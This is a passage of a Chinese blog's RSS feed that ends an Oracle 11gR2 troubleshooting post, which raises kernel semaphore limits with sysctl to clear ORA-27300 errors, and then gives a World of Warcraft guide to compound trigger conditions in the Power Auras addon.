ORA<span style="color: #66cc66;">-</span><span style="color: #cc66cc;">27154</span>: post<span style="color: #66cc66;">/</span>wait <span style="color: #993333; font-weight: bold;">CREATE</span> failed
ORA<span style="color: #66cc66;">-</span><span style="color: #cc66cc;">27300</span>: OS system dependent operation:semget failed <span style="color: #993333; font-weight: bold;">WITH</span> <span style="color: #993333; font-weight: bold;">STATUS</span>: <span style="color: #cc66cc;">28</span>
ORA<span style="color: #66cc66;">-</span><span style="color: #cc66cc;">27301</span>: OS failure message: No space <span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">ON</span> device
ORA<span style="color: #66cc66;">-</span><span style="color: #cc66cc;">27302</span>: failure occurred at: sskgpsemsper</pre></div></div>

<p>sskgpsemsper函数可以很简单的猜测是跟semaphore有关，而ORA-27301则是No space left on device，那么很容易判断应该是操作系统内核参数中semaphore设置的问题。</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">[root@dbserver ~]# /sbin/sysctl -a | grep sem
kernel.sem = 250        100     32      128</pre></div></div>

<p>而实际上，安装Oracle11gR2的semaphore需求是：<br />
semmsl：250<br />
semmns：32000<br />
semopm：100<br />
semmni：128</p>
<p>很明显semmns和semopm都不足。</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">[root@dbserver ~]# /sbin/sysctl -w kernel.sem=&quot;250 32000 100 128&quot;
kernel.sem = 250 32000 100 128
[root@dbserver ~]# /sbin/sysctl -a | grep sem
kernel.sem = 250        32000   100     128
[root@dbserver ~]# echo &quot;kernel.sem = 250 32000 100 128&quot;  &gt;&gt; /etc/sysctl.conf
[root@dbserver ~]#</pre></div></div>

<p>重新启动数据库实例正常。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/960.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Set Power Auras Multiple Conditions in WoW</title>
		<link>http://www.dbform.com/html/2009/954.html</link>
		<comments>http://www.dbform.com/html/2009/954.html#comments</comments>
		<pubDate>Sat, 12 Dec 2009 08:14:28 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Wow]]></category>
		<category><![CDATA[魔兽世界]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=954</guid>
		<description><![CDATA[Power Auras插件是WoW中非常实用的插件，用自定义的图像自定义的方式，根据不同的触发条件在屏幕上显示提示信息，以醒目的方式提醒玩家做相应的操作。
先看一篇简单的POWA插件使用指南。
在中文版的任何文章中，都没有提到如何设定复合条件，比如对于术士来说，如果想设定“敌方目标存在献祭效果，并且自己的焚烧可用”情况下，提示使用焚烧技能。这一需求是因为焚烧雕文的出现，焚烧并不会吞蚀献祭的效果，而献祭的时长又长于焚烧的CD时间，因此在长期的战斗过程中，往往一次献祭之后可以多次焚烧，那么必须要有一个醒目的提示来让玩家及时使用焚烧。
1. 首先设置献祭的提示，设置敌方目标身上存在献祭的情况下，触发该特效。然后将此特效置为禁用（Shift+鼠标左键点击图标）。在鼠标提示上可以看到[7]的字样，这是该特效的ID，记住。

2. 再设置焚烧的提示，设置自己焚烧技能CD的时候，触发该特效。然后，就是最重要的部分，在“精确匹配名称”后面的输入框内，输入献祭特效的ID，在本例中就是7。这部分表示只有在特效7和自身条件同时满足的情况下，特效才会触发。这里可以写多个特效ID，也就是允许无限多的复合条件。

3. 如果再设置一个献祭在敌方目标身上不存在则触发的特效，就可以在战斗中实现下面的效果。
当献祭在对方目标身上不存在的时候，特效提示补献祭。

当献祭在对方目标身上存在，并且自己焚烧CD的时候，特效提示补焚烧。

不需要再紧盯着面板和技能条，享受POWA带来的战斗新感觉吧。
]]></description>
			<content:encoded><![CDATA[<p><a href="http://wow.curse.com/downloads/wow-addons/details/powerauras-classic.aspx">Power Auras插件</a>是WoW中非常实用的插件，用自定义的图像自定义的方式，根据不同的触发条件在屏幕上显示提示信息，以醒目的方式提醒玩家做相应的操作。</p>
<p>先看一篇简单的<a href="http://wow.tgbus.com/shell/zhcj/200812/20081219193956.shtml">POWA插件使用指南</a>。</p>
<p>在中文版的任何文章中，都没有提到如何设定复合条件，比如对于术士来说，如果想设定<strong>“敌方目标存在献祭效果，并且自己的焚烧可用</strong>”情况下，提示使用焚烧技能。这一需求是因为焚烧雕文的出现，焚烧并不会吞蚀献祭的效果，而献祭的时长又长于焚烧的CD时间，因此在长期的战斗过程中，往往一次献祭之后可以多次焚烧，那么必须要有一个醒目的提示来让玩家及时使用焚烧。</p>
<p>1. 首先设置献祭的提示，设置敌方目标身上存在献祭的情况下，触发该特效。然后将此特效置为禁用（Shift+鼠标左键点击图标）。在鼠标提示上可以看到[7]的字样，这是该特效的ID，记住。<br />
<a href="http://www.flickr.com/photos/kamus/4177759037/" title="POWA Multiple Conditions 1 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4006/4177759037_30eaa3354c.jpg" width="500" height="234" alt="POWA Multiple Conditions 1" /></a></p>
<p>2. 再设置焚烧的提示，设置自己焚烧技能CD的时候，触发该特效。然后，就是最重要的部分，在“精确匹配名称”后面的输入框内，输入献祭特效的ID，在本例中就是7。这部分表示只有在特效7和自身条件同时满足的情况下，特效才会触发。这里可以写多个特效ID，也就是允许无限多的复合条件。<br />
<a href="http://www.flickr.com/photos/kamus/4177759145/" title="POWA Multiple Conditions 2 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2634/4177759145_d458c5c00e.jpg" width="500" height="234" alt="POWA Multiple Conditions 2" /></a></p>
<p>3. 如果再设置一个献祭在敌方目标身上不存在则触发的特效，就可以在战斗中实现下面的效果。</p>
<p>当献祭在对方目标身上不存在的时候，特效提示补献祭。<br />
<a href="http://www.flickr.com/photos/kamus/4177759213/" title="POWA Multiple Conditions 3 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2519/4177759213_53ce8bb80a.jpg" width="500" height="234" alt="POWA Multiple Conditions 3" /></a></p>
<p>当献祭在对方目标身上存在，并且自己焚烧CD的时候，特效提示补焚烧。<br />
<a href="http://www.flickr.com/photos/kamus/4177759275/" title="POWA Multiple Conditions 4 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2541/4177759275_2d4e160b94.jpg" width="500" height="234" alt="POWA Multiple Conditions 4" /></a></p>
<p>不需要再紧盯着面板和技能条，享受POWA带来的战斗新感觉吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/954.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
